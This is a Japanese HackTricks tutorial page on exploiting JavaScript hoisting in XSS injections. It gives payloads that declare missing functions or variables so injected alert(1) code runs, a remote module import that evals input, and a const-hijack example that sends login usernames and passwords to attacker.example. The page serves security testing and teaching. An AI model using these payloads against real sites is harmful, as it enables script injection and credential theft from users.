JS Hoisting
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
JavaScript には、変数、関数、class、または import の宣言がコード実行前にスコープの先頭に持ち上げられるという仕組み、Hoisting が存在します。この処理は JavaScript エンジンが自動的に行い、スクリプトを複数回のパスで処理します。
最初のパスでは、エンジンがコードをパースして構文エラーをチェックし、抽象構文木に変換します。この段階には hoisting が含まれ、特定の宣言が実行コンテキストの先頭に移されます。パース段階が成功し(構文エラーがないことが確認されれば)、スクリプトの実行が続行されます。
重要な点は以下です:
- 実行が行われるためにはスクリプトに構文エラーがあってはならない。構文ルールは厳密に守られる必要があります。
- hoisting によりスクリプト内のコード配置が実行結果に影響するため、実際に実行されるコードはテキスト上の表現と異なる場合があります。
Types of Hoisting
MDN の情報によると、JavaScript には大きく分けて 4 種類の hoisting があります:
- Value Hoisting: 宣言行より前にスコープ内で変数の値を使用できるようにする。
- Declaration Hoisting: スコープ内で宣言前に変数を参照しても
ReferenceError
を発生させず、ただし変数の値はundefined
になる。 - このタイプは、実際の宣言行より前に変数が宣言されることによりスコープ内の挙動が変わる。
- 宣言の副作用が、それを含む他のコードが評価される前に発生する。
詳細では、function 宣言は type 1 の hoisting 挙動を示します。var
キーワードは type 2 の挙動を示します。let
、const
、および class
を含むレキシカル宣言は type 3 の挙動を示します。最後に、import
文は type 1 と type 4 の両方の挙動で hoist される点が特殊です。
シナリオ
したがって、未宣言のオブジェクトが使用された後に Inject JS code after an undeclared object できるような状況がある場合、宣言を追加して fix the syntax すれば(エラーを投げる代わりに)あなたのコードが実行されるようにできます:
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
その他のシナリオ
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
constで名前をロックして後の宣言を先取りする
トップレベルの function foo(){...}
がパースされる前に実行できる場合、同じ名前でレキシカル束縛(例: const foo = ...
)を宣言すると、後でその関数宣言がその識別子に再バインドするのを防げます。これはRXSSで悪用され、ページ後半に定義された重要なハンドラを乗っ取るために使えます:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
注意事項
- これは実行順序とグローバル(トップレベル)スコープに依存します。
- ペイロードが
eval()
の内部で実行される場合、eval
内のconst/let
はブロックスコープでありグローバルバインディングを作成しないことに注意してください。真のグローバルなconst
を確立するには、そのコードを含む新しい<script>
要素を注入してください。
参考文献
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。